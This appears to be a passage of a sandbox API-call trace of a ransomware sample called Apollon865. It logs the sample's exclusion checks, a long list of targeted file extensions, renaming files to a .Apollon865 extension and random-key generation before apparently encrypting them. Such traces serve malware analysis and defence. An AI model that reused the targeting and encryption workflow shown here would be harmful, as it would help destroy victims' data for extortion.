	[0083.963] lstrlenW (lpString="udb") returned 3
	[0083.963] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1
	[0083.963] lstrlenW (lpString="udl") returned 3
	[0083.963] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1
	[0083.963] lstrlenW (lpString="usr") returned 3
	[0083.963] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1
	[0083.963] lstrlenW (lpString="v12") returned 3
	[0083.963] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1
	[0083.963] lstrlenW (lpString="vis") returned 3
	[0083.963] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1
	[0083.963] lstrlenW (lpString="vpd") returned 3
	[0083.963] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1
	[0083.963] lstrlenW (lpString="vvv") returned 3
	[0083.963] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1
	[0083.963] lstrlenW (lpString="wdb") returned 3
	[0083.963] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1
	[0083.963] lstrlenW (lpString="wmdb") returned 4
	[0083.963] lstrcmpiW (lpString1="_dll", lpString2="wmdb") returned -1
	[0083.963] lstrlenW (lpString="wrk") returned 3
	[0083.963] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1
	[0083.963] lstrlenW (lpString="xdb") returned 3
	[0083.963] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1
	[0083.963] lstrlenW (lpString="xld") returned 3
	[0083.963] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1
	[0083.963] lstrlenW (lpString="xmlff") returned 5
	[0083.963] lstrcmpiW (lpString1="x_dll", lpString2="xmlff") returned -1
	[0083.963] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PUBWZINT.REST.trx_dll.Apollon865") returned 84
	[0083.963] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PUBWZINT.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\pubwzint.rest.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PUBWZINT.REST.trx_dll.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\pubwzint.rest.trx_dll.apollon865"), dwFlags=0x1) returned 1
	[0083.965] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PUBWZINT.REST.trx_dll.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\pubwzint.rest.trx_dll.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0083.966] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=371552) returned 1
	[0083.966] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0083.966] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0083.966] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0083.966] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0083.967] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0083.967] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0083.967] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5ae60, lpName=0x0) returned 0x15c
	[0083.968] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5ae60) returned 0x210000
	[0084.014] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0084.014] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0084.014] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0084.015] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0084.015] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0084.015] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0084.015] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0084.015] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0084.015] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0084.015] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0084.015] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0084.015] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0084.015] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0084.015] UnmapViewOfFile (lpBaseAddress=0x210000) returned 1
	[0084.019] CloseHandle (hObject=0x15c) returned 1
	[0084.019] CloseHandle (hObject=0x9c) returned 1
	[0084.019] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0084.019] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0084.019] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0084.021] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6d7a1200, ftCreationTime.dwHighDateTime=0x1cac817, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6d7a1200, ftLastWriteTime.dwHighDateTime=0x1cac817, nFileSizeHigh=0x0, nFileSizeLow=0x3360, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SGRES.DLL.trx_dll", cAlternateFileName="SGRESD~1.TRX")) returned 1
	[0084.021] lstrcmpiW (lpString1="SGRES.DLL.trx_dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0084.021] lstrcmpiW (lpString1="SGRES.DLL.trx_dll", lpString2="Apollon865.txt.exe") returned 1
	[0084.021] lstrcmpiW (lpString1="SGRES.DLL.trx_dll", lpString2=".") returned 1
	[0084.021] lstrcmpiW (lpString1="SGRES.DLL.trx_dll", lpString2="..") returned 1
	[0084.021] lstrcmpiW (lpString1="SGRES.DLL.trx_dll", lpString2="windows") returned -1
	[0084.021] lstrcmpiW (lpString1="SGRES.DLL.trx_dll", lpString2="bootmgr") returned 1
	[0084.021] lstrcmpiW (lpString1="SGRES.DLL.trx_dll", lpString2="temp") returned -1
	[0084.021] lstrcmpiW (lpString1="SGRES.DLL.trx_dll", lpString2="pagefile.sys") returned 1
	[0084.021] lstrcmpiW (lpString1="SGRES.DLL.trx_dll", lpString2="boot") returned 1
	[0084.021] lstrcmpiW (lpString1="SGRES.DLL.trx_dll", lpString2="ids.txt") returned 1
	[0084.021] lstrcmpiW (lpString1="SGRES.DLL.trx_dll", lpString2="ntuser.dat") returned 1
	[0084.021] lstrcmpiW (lpString1="SGRES.DLL.trx_dll", lpString2="perflogs") returned 1
	[0084.021] lstrcmpiW (lpString1="SGRES.DLL.trx_dll", lpString2="MSBuild") returned 1
	[0084.021] lstrlenW (lpString="SGRES.DLL.trx_dll") returned 17
	[0084.021] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PUBWZINT.REST.trx_dll") returned 73
	[0084.021] lstrcpyW (in: lpString1=0x119e670, lpString2="SGRES.DLL.trx_dll" | out: lpString1="SGRES.DLL.trx_dll") returned="SGRES.DLL.trx_dll"
	[0084.021] lstrlenW (lpString="SGRES.DLL.trx_dll") returned 17
	[0084.021] lstrlenW (lpString="Apollon865") returned 10
	[0084.021] lstrcmpiW (lpString1="LL.trx_dll", lpString2="Apollon865") returned 1
	[0084.021] lstrlenW (lpString=".dll") returned 4
	[0084.021] lstrcmpiW (lpString1="SGRES.DLL.trx_dll", lpString2=".dll") returned 1
	[0084.021] lstrlenW (lpString=".lnk") returned 4
	[0084.021] lstrcmpiW (lpString1="SGRES.DLL.trx_dll", lpString2=".lnk") returned 1
	[0084.021] lstrlenW (lpString=".ini") returned 4
	[0084.021] lstrcmpiW (lpString1="SGRES.DLL.trx_dll", lpString2=".ini") returned 1
	[0084.021] lstrlenW (lpString=".sys") returned 4
	[0084.021] lstrcmpiW (lpString1="SGRES.DLL.trx_dll", lpString2=".sys") returned 1
	[0084.021] lstrlenW (lpString="SGRES.DLL.trx_dll") returned 17
	[0084.021] lstrlenW (lpString="bak") returned 3
	[0084.021] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1
	[0084.021] lstrlenW (lpString="ba_") returned 3
	[0084.021] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1
	[0084.021] lstrlenW (lpString="dbb") returned 3
	[0084.021] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1
	[0084.021] lstrlenW (lpString="vmdk") returned 4
	[0084.022] lstrcmpiW (lpString1="_dll", lpString2="vmdk") returned -1
	[0084.022] lstrlenW (lpString="rar") returned 3
	[0084.022] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1
	[0084.022] lstrlenW (lpString="zip") returned 3
	[0084.022] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1
	[0084.022] lstrlenW (lpString="tgz") returned 3
	[0084.022] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1
	[0084.022] lstrlenW (lpString="vbox") returned 4
	[0084.022] lstrcmpiW (lpString1="_dll", lpString2="vbox") returned -1
	[0084.022] lstrlenW (lpString="vdi") returned 3
	[0084.022] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1
	[0084.022] lstrlenW (lpString="vhd") returned 3
	[0084.022] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1
	[0084.022] lstrlenW (lpString="vhdx") returned 4
	[0084.022] lstrcmpiW (lpString1="_dll", lpString2="vhdx") returned -1
	[0084.022] lstrlenW (lpString="avhd") returned 4
	[0084.022] lstrcmpiW (lpString1="_dll", lpString2="avhd") returned -1
	[0084.022] lstrlenW (lpString="db") returned 2
	[0084.022] lstrcmpiW (lpString1="ll", lpString2="db") returned 1
	[0084.022] lstrlenW (lpString="db2") returned 3
	[0084.022] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1
	[0084.022] lstrlenW (lpString="db3") returned 3
	[0084.022] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1
	[0084.022] lstrlenW (lpString="dbf") returned 3
	[0084.022] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1
	[0084.022] lstrlenW (lpString="mdf") returned 3
	[0084.022] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1
	[0084.022] lstrlenW (lpString="mdb") returned 3
	[0084.022] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1
	[0084.022] lstrlenW (lpString="sql") returned 3
	[0084.023] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1
	[0084.023] lstrlenW (lpString="sqlite") returned 6
	[0084.023] lstrcmpiW (lpString1="rx_dll", lpString2="sqlite") returned -1
	[0084.023] lstrlenW (lpString="sqlite3") returned 7
	[0084.023] lstrcmpiW (lpString1="trx_dll", lpString2="sqlite3") returned 1
	[0084.023] lstrlenW (lpString="sqlitedb") returned 8
	[0084.023] lstrcmpiW (lpString1=".trx_dll", lpString2="sqlitedb") returned -1
	[0084.023] lstrlenW (lpString="xml") returned 3
	[0084.023] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1
	[0084.023] lstrlenW (lpString="$er") returned 3
	[0084.023] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1
	[0084.023] lstrlenW (lpString="4dd") returned 3
	[0084.023] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1
	[0084.023] lstrlenW (lpString="4dl") returned 3
	[0084.023] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1
	[0084.023] lstrlenW (lpString="^^^") returned 3
	[0084.023] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1
	[0084.023] lstrlenW (lpString="abs") returned 3
	[0084.023] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1
	[0084.023] lstrlenW (lpString="abx") returned 3
	[0084.023] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1
	[0084.023] lstrlenW (lpString="accdb") returned 5
	[0084.023] lstrcmpiW (lpString1="x_dll", lpString2="accdb") returned 1
	[0084.023] lstrlenW (lpString="accdc") returned 5
	[0084.023] lstrcmpiW (lpString1="x_dll", lpString2="accdc") returned 1
	[0084.023] lstrlenW (lpString="accde") returned 5
	[0084.023] lstrcmpiW (lpString1="x_dll", lpString2="accde") returned 1
	[0084.023] lstrlenW (lpString="accdr") returned 5
	[0084.023] lstrcmpiW (lpString1="x_dll", lpString2="accdr") returned 1
	[0084.023] lstrlenW (lpString="accdt") returned 5
	[0084.023] lstrcmpiW (lpString1="x_dll", lpString2="accdt") returned 1
	[0084.023] lstrlenW (lpString="accdw") returned 5
	[0084.023] lstrcmpiW (lpString1="x_dll", lpString2="accdw") returned 1
	[0084.023] lstrlenW (lpString="accft") returned 5
	[0084.023] lstrcmpiW (lpString1="x_dll", lpString2="accft") returned 1
	[0084.023] lstrlenW (lpString="adb") returned 3
	[0084.023] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0084.023] lstrlenW (lpString="adb") returned 3
	[0084.023] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0084.024] lstrlenW (lpString="ade") returned 3
	[0084.024] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1
	[0084.024] lstrlenW (lpString="adf") returned 3
	[0084.024] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1
	[0084.024] lstrlenW (lpString="adn") returned 3
	[0084.024] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1
	[0084.024] lstrlenW (lpString="adp") returned 3
	[0084.024] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1
	[0084.024] lstrlenW (lpString="alf") returned 3
	[0084.024] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1
	[0084.024] lstrlenW (lpString="ask") returned 3
	[0084.024] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1
	[0084.024] lstrlenW (lpString="btr") returned 3
	[0084.024] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1
	[0084.024] lstrlenW (lpString="cat") returned 3
	[0084.024] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1
	[0084.024] lstrlenW (lpString="cdb") returned 3
	[0084.024] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1
	[0084.024] lstrlenW (lpString="ckp") returned 3
	[0084.024] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1
	[0084.024] lstrlenW (lpString="cma") returned 3
	[0084.024] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1
	[0084.024] lstrlenW (lpString="cpd") returned 3
	[0084.024] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1
	[0084.024] lstrlenW (lpString="dacpac") returned 6
	[0084.024] lstrcmpiW (lpString1="rx_dll", lpString2="dacpac") returned 1
	[0084.024] lstrlenW (lpString="dad") returned 3
	[0084.024] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1
	[0084.024] lstrlenW (lpString="dadiagrams") returned 10
	[0084.024] lstrcmpiW (lpString1="LL.trx_dll", lpString2="dadiagrams") returned 1
	[0084.024] lstrlenW (lpString="daschema") returned 8
	[0084.024] lstrcmpiW (lpString1=".trx_dll", lpString2="daschema") returned -1
	[0084.024] lstrlenW (lpString="db-journal") returned 10
	[0084.024] lstrcmpiW (lpString1="LL.trx_dll", lpString2="db-journal") returned 1
	[0084.024] lstrlenW (lpString="db-shm") returned 6
	[0084.024] lstrcmpiW (lpString1="rx_dll", lpString2="db-shm") returned 1
	[0084.024] lstrlenW (lpString="db-wal") returned 6
	[0084.024] lstrcmpiW (lpString1="rx_dll", lpString2="db-wal") returned 1
	[0084.024] lstrlenW (lpString="dbc") returned 3
	[0084.025] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1
	[0084.025] lstrlenW (lpString="dbs") returned 3
	[0084.025] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1
	[0084.025] lstrlenW (lpString="dbt") returned 3
	[0084.025] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1
	[0084.025] lstrlenW (lpString="dbv") returned 3
	[0084.025] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1
	[0084.025] lstrlenW (lpString="dbx") returned 3
	[0084.025] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1
	[0084.025] lstrlenW (lpString="dcb") returned 3
	[0084.025] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1
	[0084.025] lstrlenW (lpString="dct") returned 3
	[0084.025] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1
	[0084.025] lstrlenW (lpString="dcx") returned 3
	[0084.025] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1
	[0084.025] lstrlenW (lpString="ddl") returned 3
	[0084.025] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1
	[0084.025] lstrlenW (lpString="dlis") returned 4
	[0084.025] lstrcmpiW (lpString1="_dll", lpString2="dlis") returned -1
	[0084.025] lstrlenW (lpString="dp1") returned 3
	[0084.025] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1
	[0084.025] lstrlenW (lpString="dqy") returned 3
	[0084.025] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1
	[0084.025] lstrlenW (lpString="dsk") returned 3
	[0084.025] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1
	[0084.025] lstrlenW (lpString="dsn") returned 3
	[0084.025] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1
	[0084.025] lstrlenW (lpString="dtsx") returned 4
	[0084.025] lstrcmpiW (lpString1="_dll", lpString2="dtsx") returned -1
	[0084.025] lstrlenW (lpString="dxl") returned 3
	[0084.025] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1
	[0084.025] lstrlenW (lpString="eco") returned 3
	[0084.025] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1
	[0084.025] lstrlenW (lpString="ecx") returned 3
	[0084.025] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1
	[0084.025] lstrlenW (lpString="edb") returned 3
	[0084.025] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1
	[0084.026] lstrlenW (lpString="epim") returned 4
	[0084.026] lstrcmpiW (lpString1="_dll", lpString2="epim") returned -1
	[0084.026] lstrlenW (lpString="fcd") returned 3
	[0084.026] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1
	[0084.026] lstrlenW (lpString="fdb") returned 3
	[0084.026] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1
	[0084.026] lstrlenW (lpString="fic") returned 3
	[0084.026] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1
	[0084.026] lstrlenW (lpString="flexolibrary") returned 12
	[0084.026] lstrcmpiW (lpString1=".DLL.trx_dll", lpString2="flexolibrary") returned -1
	[0084.026] lstrlenW (lpString="fm5") returned 3
	[0084.026] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1
	[0084.026] lstrlenW (lpString="fmp") returned 3
	[0084.026] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1
	[0084.026] lstrlenW (lpString="fmp12") returned 5
	[0084.026] lstrcmpiW (lpString1="x_dll", lpString2="fmp12") returned 1
	[0084.026] lstrlenW (lpString="fmpsl") returned 5
	[0084.026] lstrcmpiW (lpString1="x_dll", lpString2="fmpsl") returned 1
	[0084.026] lstrlenW (lpString="fol") returned 3
	[0084.026] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1
	[0084.026] lstrlenW (lpString="fp3") returned 3
	[0084.026] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1
	[0084.026] lstrlenW (lpString="fp4") returned 3
	[0084.026] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1
	[0084.026] lstrlenW (lpString="fp5") returned 3
	[0084.026] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1
	[0084.026] lstrlenW (lpString="fp7") returned 3
	[0084.026] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1
	[0084.026] lstrlenW (lpString="fpt") returned 3
	[0084.026] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1
	[0084.026] lstrlenW (lpString="frm") returned 3
	[0084.026] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1
	[0084.026] lstrlenW (lpString="gdb") returned 3
	[0084.026] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0084.026] lstrlenW (lpString="gdb") returned 3
	[0084.026] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0084.026] lstrlenW (lpString="grdb") returned 4
	[0084.026] lstrcmpiW (lpString1="_dll", lpString2="grdb") returned -1
	[0084.027] lstrlenW (lpString="gwi") returned 3
	[0084.027] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1
	[0084.027] lstrlenW (lpString="hdb") returned 3
	[0084.027] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1
	[0084.027] lstrlenW (lpString="his") returned 3
	[0084.027] lstrcmpiW (lpString1="dll", lpString2="his") returned -1
	[0084.027] lstrlenW (lpString="ib") returned 2
	[0084.027] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1
	[0084.027] lstrlenW (lpString="idb") returned 3
	[0084.027] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1
	[0084.027] lstrlenW (lpString="ihx") returned 3
	[0084.027] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1
	[0084.027] lstrlenW (lpString="itdb") returned 4
	[0084.027] lstrcmpiW (lpString1="_dll", lpString2="itdb") returned -1
	[0084.027] lstrlenW (lpString="itw") returned 3
	[0084.027] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1
	[0084.027] lstrlenW (lpString="jet") returned 3
	[0084.027] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1
	[0084.027] lstrlenW (lpString="jtx") returned 3
	[0084.027] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1
	[0084.027] lstrlenW (lpString="kdb") returned 3
	[0084.027] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1
	[0084.027] lstrlenW (lpString="kexi") returned 4
	[0084.027] lstrcmpiW (lpString1="_dll", lpString2="kexi") returned -1
	[0084.027] lstrlenW (lpString="kexic") returned 5
	[0084.027] lstrcmpiW (lpString1="x_dll", lpString2="kexic") returned 1
	[0084.027] lstrlenW (lpString="kexis") returned 5
	[0084.027] lstrcmpiW (lpString1="x_dll", lpString2="kexis") returned 1
	[0084.027] lstrlenW (lpString="lgc") returned 3
	[0084.027] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1
	[0084.027] lstrlenW (lpString="lwx") returned 3
	[0084.027] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1
	[0084.027] lstrlenW (lpString="maf") returned 3
	[0084.027] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1
	[0084.027] lstrlenW (lpString="maq") returned 3
	[0084.027] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1
	[0084.027] lstrlenW (lpString="mar") returned 3
	[0084.027] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1
	[0084.028] lstrlenW (lpString="marshal") returned 7
	[0084.028] lstrcmpiW (lpString1="trx_dll", lpString2="marshal") returned 1
	[0084.028] lstrlenW (lpString="mas") returned 3
	[0084.028] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1
	[0084.028] lstrlenW (lpString="mav") returned 3
	[0084.028] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1
	[0084.028] lstrlenW (lpString="maw") returned 3
	[0084.028] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1
	[0084.028] lstrlenW (lpString="mdbhtml") returned 7
	[0084.028] lstrcmpiW (lpString1="trx_dll", lpString2="mdbhtml") returned 1
	[0084.028] lstrlenW (lpString="mdn") returned 3
	[0084.028] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1
	[0084.028] lstrlenW (lpString="mdt") returned 3
	[0084.028] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1
	[0084.028] lstrlenW (lpString="mfd") returned 3
	[0084.028] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1
	[0084.028] lstrlenW (lpString="mpd") returned 3
	[0084.028] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1
	[0084.028] lstrlenW (lpString="mrg") returned 3
	[0084.028] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1
	[0084.028] lstrlenW (lpString="mud") returned 3
	[0084.028] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1
	[0084.028] lstrlenW (lpString="mwb") returned 3
	[0084.028] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1
	[0084.028] lstrlenW (lpString="myd") returned 3
	[0084.028] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1
	[0084.028] lstrlenW (lpString="ndf") returned 3
	[0084.028] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1
	[0084.028] lstrlenW (lpString="nnt") returned 3
	[0084.028] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1
	[0084.028] lstrlenW (lpString="nrmlib") returned 6
	[0084.028] lstrcmpiW (lpString1="rx_dll", lpString2="nrmlib") returned 1
	[0084.028] lstrlenW (lpString="ns2") returned 3
	[0084.028] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1
	[0084.028] lstrlenW (lpString="ns3") returned 3
	[0084.028] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1
	[0084.028] lstrlenW (lpString="ns4") returned 3
	[0084.028] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1
	[0084.028] lstrlenW (lpString="nsf") returned 3
	[0084.029] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1
	[0084.029] lstrlenW (lpString="nv") returned 2
	[0084.029] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1
	[0084.029] lstrlenW (lpString="nv2") returned 3
	[0084.029] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1
	[0084.029] lstrlenW (lpString="nwdb") returned 4
	[0084.029] lstrcmpiW (lpString1="_dll", lpString2="nwdb") returned -1
	[0084.029] lstrlenW (lpString="nyf") returned 3
	[0084.029] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1
	[0084.029] lstrlenW (lpString="odb") returned 3
	[0084.029] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0084.029] lstrlenW (lpString="odb") returned 3
	[0084.029] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0084.029] lstrlenW (lpString="oqy") returned 3
	[0084.029] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1
	[0084.029] lstrlenW (lpString="ora") returned 3
	[0084.029] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1
	[0084.029] lstrlenW (lpString="orx") returned 3
	[0084.029] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1
	[0084.029] lstrlenW (lpString="owc") returned 3
	[0084.029] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1
	[0084.029] lstrlenW (lpString="p96") returned 3
	[0084.029] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1
	[0084.029] lstrlenW (lpString="p97") returned 3
	[0084.029] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1
	[0084.029] lstrlenW (lpString="pan") returned 3
	[0084.029] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1
	[0084.029] lstrlenW (lpString="pdb") returned 3
	[0084.029] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1
	[0084.029] lstrlenW (lpString="pdm") returned 3
	[0084.029] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1
	[0084.029] lstrlenW (lpString="pnz") returned 3
	[0084.029] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1
	[0084.029] lstrlenW (lpString="qry") returned 3
	[0084.029] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1
	[0084.029] lstrlenW (lpString="qvd") returned 3
	[0084.030] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1
	[0084.030] lstrlenW (lpString="rbf") returned 3
	[0084.030] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1
	[0084.030] lstrlenW (lpString="rctd") returned 4
	[0084.030] lstrcmpiW (lpString1="_dll", lpString2="rctd") returned -1
	[0084.030] lstrlenW (lpString="rod") returned 3
